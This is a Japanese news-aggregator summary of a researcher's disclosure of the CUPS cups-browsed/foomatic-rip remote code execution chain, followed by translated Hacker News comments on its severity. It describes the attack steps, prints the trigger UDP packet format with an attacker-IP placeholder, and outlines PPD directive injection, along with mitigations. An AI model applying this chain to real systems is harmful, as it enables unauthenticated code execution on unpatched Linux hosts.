1 ポイント 投稿者 GN⁺ 2024-09-27 | 1件のコメント | WhatsAppで共有
  • CUPSのプリンタ自動検出経路がIPP属性の検証不足と組み合わさると、リモートの未認証攻撃者が悪意あるプリンタ設定を注入し、印刷時に任意コマンド実行まで誘発できる
  • 攻撃の出発点は、cups-browsedUDP 631ポートで任意の送信元パケットを受け取り、攻撃者のURLへGet-Printer-Attributes IPPリクエストを送る動作にある
  • 脆弱性はCVE-2024-47176CVE-2024-47076CVE-2024-47175CVE-2024-47177に分かれ、libcupsfilterslibppdcups-filtersのPPD生成からfoomatic-rip実行フローにまで連なる
  • 影響範囲は大半のGNU/Linuxディストリビューション、一部BSD、Oracle Solaris、Chromium/ChromeOSの可能性にまで及び、公開IPv4スキャンでは数十万台のデバイスからのコールバックと最大20万〜30万の同時クライアントが観測された
  • 実務上は不要なcups-browsedを無効化・削除し、CUPSパッケージを更新すべきであり、更新が難しければUDP 631および必要に応じてDNS-SDトラフィックの遮断を検討すべき

脆弱性チェーンの核心

  • このチェーンはCUPSのプリンタ自動検出機能から始まり、IPP属性処理、PPDファイル生成、フィルタ実行へと続く
  • 主な脆弱性は4段階で噛み合っている
    • CVE-2024-47176: cups-browsed 2.0.1以下がUDP INADDR_ANY:631にバインドし、任意の送信元のパケットを信頼して攻撃者制御URLへのGet-Printer-Attributes IPPリクエストをトリガーする
    • CVE-2024-47076: libcupsfilters 2.1b1以下のcfGetPrinterAttributes5がIPPサーバから受け取った属性を検証・サニタイズせずCUPSシステムへ渡す
    • CVE-2024-47175: libppd 2.1b1以下のppdCreatePPDFromIPP2がIPP属性を検証・サニタイズしないまま一時PPDファイルに書き込み、攻撃者制御データの挿入を許す
    • CVE-2024-47177: cups-filters 2.0.1以下のfoomatic-ripがPPDのFoomaticRIPCommandLineパラメータを通じて任意コマンド実行を許す

攻撃の侵入口と影響範囲

  • リモートの未認証攻撃者は、既存プリンタのIPP URLを静かに悪意あるURLへ変更したり、新しいプリンタをインストールさせたりできる
  • 実際のコマンド実行は、そのコンピュータで印刷ジョブが開始されたときに発生する
  • 侵入口は2つある
    • WAN / 公開インターネット: リモート攻撃者がUDP 631ポートへパケットを送信し、認証は不要
    • LAN: ローカル攻撃者がzeroconf、mDNS、DNS-SD広告をスプーフィングし、同じコードパスでRCEに到達できる
  • CUPSとcups-browsedは複数のUNIX系システムでパッケージ化されている
  • 公開インターネットのIPv4全域を数週間にわたり1日数回スキャンした結果、UDPパケット送信後に数十万台のデバイスがコールバックし、最大20万〜30万の同時クライアントのピークが観測された

cups-browsedが開いた経路

  • UbuntuノートPCでnetstat -anuを実行中、0.0.0.0:631で受信中のUDPポートが見つかった
  • lsof -i :631で確認した結果、TCP 631はcupsd、UDP 631はcups-browsedが使っていた
  • ps auxではcups-browsedプロセスがrootで実行されていることが分かった
  • cups-browsedはCUPSシステムの一部で、新しいプリンタを検出して自動的にシステムへ追加する役割を持つ
  • ソースコードを確認すると、サービスはINADDR_ANY:631 UDPにバインドされており、HEX_NUMBER HEX_NUMBER TEXT_DATA形式のUDPパケットを想定していた
  • 既定の設定ファイルがほぼすべてコメントアウトされた状態では、アクセス制限は事実上弱くなる

パースの問題と追加のバグ

  • CUPSパッケージ自体はoss-fuzzに含まれているが、cups-browsedにはファジングのカバレッジがないように見える
  • process_browse_data周辺にAFLベースのファジングターゲットを作成すると、5つの入力がstack-buffer-overflowをトリガーした
  • 原因として、2つのループで終了条件を確認する前にポインタ逆参照が行われるフローが指摘されている
  • その後、ロック処理箇所でrace conditionとDoSの可能性も見つかった
  • これらの問題は開発者とCERTに報告されたが、研究者の時点では認定もパッチ適用もされていなかった

IPPリクエストとPPD注入

  • found_cups_printerはUDPパケットからパースしたテキストフィールドの1つをURLとして扱う
  • このURLと関連データはexamine_discovered_printer_recordcreate_remote_printer_entryの流れを経て、libcupsfilterscfGetPrinterAttributes呼び出しへつながる
  • 攻撃者が0 3 http://<ATTACKER-IP>:<PORT>/printers/whatever形式のパケットを送ると、対象のcups-browsedは攻撃者のURLへ接続する
  • 接続時のUser-Agentヘッダにはカーネルバージョンとアーキテクチャが含まれ、一部のリクエストでは対象のユーザー名も報告された
  • Internet Printing Protocolはクライアントとプリンタまたはプリントサーバ間の通信プロトコルであり、プリンタ状態の照会や印刷ジョブ送信などに使われる
  • 対象システムは攻撃者サーバをプリンタとして認識し、HTTP内にカプセル化されたGet-Printer-Attributesリクエストを送信する
  • ippserver python packageを使って制御可能な属性で応答すると、偽のプリンタがユーザー通知なしでローカルプリンタに追加された

PPDとfoomatic-ripの実行経路

  • デバッグログにはプリンタキュー生成、一時PPDファイル生成、PPDの使用および編集の過程が現れる
  • create_queue関数はIPP属性をlibppdppdCreatePPDFromIPP2 APIへ渡す
  • ppdCreatePPDFromIPP2printer-make-and-modelのような攻撃者制御テキスト属性を検証・エスケープせずにPPDファイルへ書き込む
  • PostScript Printer Descriptionファイルはプリンタの機能と能力を説明するテキストファイルで、CUPSでプリンタ機能と利用方法を指定する役割を持つ
  • PPD内の複数のディレクティブのうち、CUPS拡張であるcupsFilter2は印刷ジョブ時に/usr/lib/cups/filter配下の実行ファイルをフィルタとして実行できる
  • foomatic-ripはPPDのFoomaticRIPCommandLineディレクティブを通じてコマンドを実行できるフィルタとして扱われる
  • 過去のfoomatic-filtersにはCVE-2011-2964CVE-2011-2697に関連する修正があったが、CUPS統合の過程でその修正は移植されなかったことが確認された
  • より新しいCVE-2024-35235でも、FoomaticRIPCommandLineを通じた任意コマンド実行が言及されている
  • CUPS開発者側の説明によれば、FoomaticRIPCommandLineに指定できる内容を制限することは、既存ドライバを壊さずに対応するのが非常に難しく、2010年以前の古いプリンタ数百モデルがFoomaticのみに依存している可能性がある

RCE再現フロー

  • RCEチェーンは3段階で構成される
    • 対象システムを攻撃者の悪意あるIPPサーバへ接続させる
    • 攻撃者制御のIPP属性文字列を返して一時PPDファイルにディレクティブを挿入する
    • 偽プリンタへ印刷ジョブが送信されると、PPDディレクティブとコマンドが実行される
  • IPPサーバ設定でPPD文字列を閉じて改行を挿入した後、FoomaticRIPCommandLinecupsFilter2ディレクティブを入れる方式でコマンド実行が構成された
  • デモ対象は完全にパッチ適用済みのUbuntu 24.04.1 LTScups-browsed 2.0.1で、攻撃者マシン上でコマンド実行が達成された
  • このフローはcups-browsedlibcupsfilterslibppdcups-filtersの複数の処理段階が同時に噛み合うと成立する

緩和策と推奨事項

  • cups-browsedが不要なら、サービスを無効化して削除することが推奨される
  • システムのCUPSパッケージを更新すべき
  • 更新できず、かつ当該サービスが必要な場合はUDP 631トラフィックを遮断すべき
  • 状況によってはDNS-SDトラフィックも遮断できるが、zeroconf利用環境では適用が難しい場合がある
  • 研究者は個人的な推奨として、自身のシステムからCUPSサービス、バイナリ、ライブラリを削除し、UNIXシステムへ印刷しないと述べている
  • さらに、zeroconf、Avahi、Bonjourリスナーも削除すると付け加えている

公開プロセスと後続作業

  • 研究自体は数日で終わったが、9月5日にOpenPrintingのcups-browsedリポジトリでセキュリティアドバイザリを開いて責任ある公開を開始してから、公表まで22日を要した
  • 関連する議論はcups-browsedlibcupsfilterslibppdcups-filtersのセキュリティアドバイザリへと続いた
  • 研究には2日、動作するエクスプロイトには249行が必要で、公開プロセスでは論争、メール、メッセージと100ページ超のテキストが行き交った
  • 9.9 CVSSスコアを巡る論争について、初期の9.9点はVINCEレポートでRedHatエンジニアが見積もり、別のエンジニアがレビューした値だと説明されている
  • 研究者は、RCEが容易に悪用可能でパッケージの存在範囲も広いため初期9.9になったと見ているが、影響度の観点では自分なら9.9には分類しないとも付け加えている
  • 正確なMarkdownレポートとエクスプロイトはCERT VINCEにのみ共有したものが漏えいしたと明かしている
  • 初期のexploit.pyはUDPパケット送信と悪意あるIPPサーバ生成だけを行っていたが、その後zeroconf広告機能を追加してツール化された
  • その後Goで書き直してbettercapに統合し、LAN上でzeroconf、Bonjour、Avahiにより広告されるサービスを透過的に偽装する機能とIPP関連処理を追加した
  • 次回の記事では、まだ公開されていないbettercapモジュールでApple macOSを攻撃する内容を扱う予定で、時期は別の公開手続きのため未定とされている

1件のコメント

 
GN⁺ 2024-09-27
Hacker Newsの意見
  • これは冗談かと思った。「リモートの未認証攻撃者が既存プリンターのIPP URLを悪意あるURLに変更するか新規に追加し、そのコンピューターで印刷ジョブが開始されたときに任意のコマンド実行が可能になる」という内容だが、Heartbleedが7.5だったのに、これが9.9であるはずはないように見える。
    元のツイートでは「すべてのGNU/Linuxシステムなどに対する未認証のリモートコード実行」と言っていたが、実際には多くのディストリビューションでCUPSはループバックにしかバインドされていないか、そもそもインストールされていない。
    また、公開IPv4全体を数週間にわたり1日に何度もスキャンして、数十万台のデバイスからコールバックを受け取ったと言っているが、私の理解が正しければ、公開IPv4全体で開いているCUPSインスタンスが30万台程度あったという意味であり、リモートコード実行が起きるにはそのCUPSサーバーが印刷ジョブを受け取る必要があるので、大半はそうならないように思う。

    • 記事を読むと、かなり悪いのは確かだが、それよりも cups-browsed デーモン自体をなくすべきであり、LinuxエコシステムがCUPSの将来について真剣に議論すべきだ、という話に近い。
      バグは驚くほど単純に見え、結局かなり深刻なセキュリティ問題ではあるが、標準インストールされるデスクトップLinuxパッケージのアップストリーム対応として期待できる水準ではない。
      それでも、世界を止めるほどの CVSS 9.9パニックでは絶対にない。
    • 公平に言えば、筆者も「影響度基準では9.9に分類はしないだろうが、実際のところ自分に何が分かるというのか」とは言っていた。
    • ユーザー操作なしに悪用可能なバッファオーバーフローもある。印刷ジョブが必要なfoomatic経路は、スキャンして悪用するのが最も簡単なものの一つだったにすぎない。
    • 「Look at me, I'm the printer now」ミームで大笑いした。深刻度評価はさておき、ジョークとしては間違いなく当たりだった。
    • Heartbleedはメモリ漏えいで、これはユーザー操作なしの完全なリモートコード実行だ。リモートコード実行は当然、全面的な情報漏えいとそれ以上を意味する。
      正確には、攻撃者が変更しておいたプリンター設定を、ユーザーが次に自分のプリンターで印刷するときに実行が遅延して発生する仕組みで、脆弱性はcupsdではなく cupsd-browser にある。
      筆者の態度に問題はあるかもしれないが、この脆弱性自体は本当に重大な問題だ。
  • CUPSをインターネットに公開している人は、CVEでは届かないレベルで何も気にしていない状態だ。

    • 問題の脆弱なサービスが 0.0.0.0 で待ち受けているように見えるが、これは懸念される。デフォルトでLAN上の攻撃に脆弱で、サーバーがインターネットに公開されているならポート631を明示的に塞ぐ必要がある、という意味だ。
      もちろんトリガーするにはユーザーが何かを印刷する必要があり、個人的にはLinuxで何かを印刷したことはない気がするが、数十万台のLinuxマシンからコールバックを受け取ったという主張はもっともらしい。
    • この場合「CUPSをインターネットに公開する」とは、「インターネットに接続されたLinuxデスクトップを動かす」という意味のように聞こえる。自分はやらないが、狂気の沙汰というほどではなく、標準の Debianデスクトップインストール がファイアウォールなしでも十分安全であることを期待してしまう。
      少なくとも、LinuxノートPCが空港Wi-Fiのような場所で他のすべてのデバイスに対して大きく脆弱になるべきではないと思う。
    • カフェに行って公衆Wi-Fiを使う人は、CUPSを公開しているのと同じで、悪用され得る。単に切り捨てるだけでは誰の役にも立たない。
    • ばかげたことに、CUPSは強くサンドボックス化されたユーザープログラムではなく、システムデーモンとして動作している。
    • それでも横方向の移動と権限昇格には完全な勝利だ。
  • CVSSv3のScope指標をどう解釈するかによって、より正確には 8.8または9.6 に見える。
    要約すると、一部のデスクトップLinux系でLANに公開されたCUPSが 0.0.0.0 で立ち上がっており、rootで実行され、未認証のリモートコード実行に脆弱だ。Ubuntu ServerやCentOSのようなサーバー指向のLinuxの多くでは標準サービスではないが、デスクトップ系Linuxの大半ではデフォルトで起動しているようだ。
    リモートコード実行をトリガーするには、脆弱なLinuxマシンのユーザーが悪用後に文書を印刷する必要がある。
    evilsocketは数十万件のコールバックを受け取ったと言っており、私たちの大半がLinuxでほとんど印刷していないとしても、その程度の影響があれば大きなボットネットを作るには十分かもしれない。

    • 大学には、グローバルIPを持つLinuxデスクトップを使いながら、論文であれ自分の文章であれ他人の文章であれ、継続的に印刷している人が多い。
    • LinuxデスクトップのシェアはChromeOSを除いてもおよそ 4.5% だ。私たちの大半が印刷しないとしても、Linuxホストから出る印刷ジョブは依然としてかなり多いはずだ。
    • Heartbleedが7.5で、xz事件よりわずか0.4低いだけなのに、これがどうして 9.6 になり得るのか理解できない。
  • cupsdをインターネットに開けていたので、ニュースを聞いて少しパニックになったが、ここのタイトルのように、この問題にも誤って伝わっている部分がある。問題は中核の cupsd ではなく、別パッケージ/コンポーネントである cups-browsed にある。
    サーバー用途で使っているGentoo Linuxではcups-browsedが別パッケージとして提供されており、私はインストールしていないため影響を受けない。この追加パッケージをインストールしていない大半のCUPSユーザーも、このバグの影響を受けない。
    CUPSを動かすすべてのシステムがハックされ得ると言うのは、規模を誤って表現している。

    • Debianは保守的なほうなのに、cupsをインストールするとたいてい cups-browsedがデフォルトで付いてくる 点がずっと気に入らなかった。「no install recommends」で解決するようだが、記憶ではhplipのような追加ドライバーがまた引き込んでくることもある。
      家では単にサービスを止めておいたが、ますます多くのソフトウェアが範囲を逸脱し、本来は任意であるべきコンポーネントを必須であるかのようにするのはかなり腹立たしい。
      似た例が avahi-daemon だ。デスクトップDebian/Ubuntuで削除しようとすると、なぜavahiが強い依存関係である必要があるのか疑問に思うような他のソフトウェアまで一緒に削除される可能性が高い。
  • 「あなたのようなセキュリティ研究者が『聞く価値があることを証明しなければならない』かのように振る舞うトリアージ担当者のせいで、研究者にあまりにも多くのことが期待され、当然視されている」という部分は理解できるが、残念な現実もある
    こうしたよく調査された報告が1件あるたびに、バグバウンティ報酬を引き出したり、履歴書にCVE発見を載せたりしようとする低品質なスパム報告が57件ずつ届く。特にLLMが増えたことで、そうしたスパムは簡単にそれらしく見せられる
    悲しい状況だが、開発者が懐疑的になるのを全面的に責めるのは難しい

  • 要約すると、cups-browsedはUDPポート631を待ち受け、ユーザー確認なしにプリンターを自動インストールできる
    攻撃者はこの「機能」を利用して、任意のホストからダウンロード可能なカスタムドライバー付きの偽プリンターをユーザー確認なしにインストールし、印刷ジョブが送信されたときに実行するコマンドを指定する
    ユーザーがその偽プリンターで何かを印刷すると、そのコマンドが実行される

    • CUPSが1999年に導入されたことを考えると、当時はユーザー確認なしの自動インストールにも意味があったのかもしれない。だが、なぜ今でもまだ残っているのかは分からない
  • 今回の場合、ディストリビューションがcups-browsedを機能として含めているようだが、Ubuntu/Debian、そしておそらくすべてのdeb系ディストリビューションが、インストール時にほぼすべてのサービスを自動起動するのは常に悪いことだと感じる
    パッケージを1つインストールしただけなのに、依存関係で入った別のネットワークサービスが誤って開いてしまう可能性があるということだ
    exim4についてはすでに分かっているだろうが、公平に言えばデフォルトではlocalhostだけを待ち受けるので、大きな問題ではないかもしれない。さっきDebianマシンにcups-browsedを入れてみたところ、0.0.0.0で待ち受けるサービスが2つ(cups-browsedとavahi)起動した
    Arch/GentooやCentOS系ディストリビューションではこうはならない

  • Twitterに投稿された元のCVSSスコアでは、ユーザー操作は不要とされていた。だがページのリモートコード実行チェーンを読むと、「PPDディレクティブとそれに伴うコマンドが実行されるよう、偽プリンターへ印刷ジョブが送信されるのを待つ」とある
    Aliceが印刷ボタンを押さなければ印刷ジョブはトリガーされないように思うのだが、自分が何を見落としているのか気になる。evilsocketを疑っているというより、自分の理解を確認したいだけだ

    • ファザーで見つかったバッファオーバーフローもあり、これはユーザー操作なしのリモートコード実行につながる可能性がある。ただし著者はこの分野の専門性が十分ではなく、実際のエクスプロイトは作れなかった
    • 「操作」の定義次第だ。私の理解では、Aliceが攻撃者の用意した文書を印刷する必要はなく、単に何でもいいので印刷すれば十分だ
  • MacOSで何かを印刷しなければならないたびに、プリンターとプリンター関連ソフトウェアがどれほど嫌いかを思い出す。コンピューターを40年触ってきたが、本当に10年ごとにプリンターはより厄介になっている

    • FSF運動のかなりの部分が、Stallmanがプリンタードライバーの品質に苛立ったことから始まったというのは面白い。だがその運動は40年の間、なぜかプリンター関連ソフトウェアの品質を目に見えて改善できなかった
    • 10年以上プリンターのコードを書いていた。技術的な問題がどれほど難しいかは理解しているが、ベンダーたちが状況をはるかに悪くしている。プリンターは忌まわしいもので、LaserJet IIIの頃がピークだったと思う
    • プリンターは10年前よりずっと良くなったと感じる。少なくともMacOSとiOSでは、プリンターを見つけて印刷するのに問題はない。10年前は苦痛だったが、今は自分の基準ではスムーズで、ドライバーのインストールも不要だ
    • 最新ニュース: HPがプリンタードライバーにAIを追加している。冗談ではない: https://hardware.slashdot.org/story/24/09/27/0030239/hp-is-a...
    • ジョブ制御は失うが、文書をPostScriptに変換してからプリンターポートにnetcatで送ればうまく動く
      pdf2ps - | nc 9001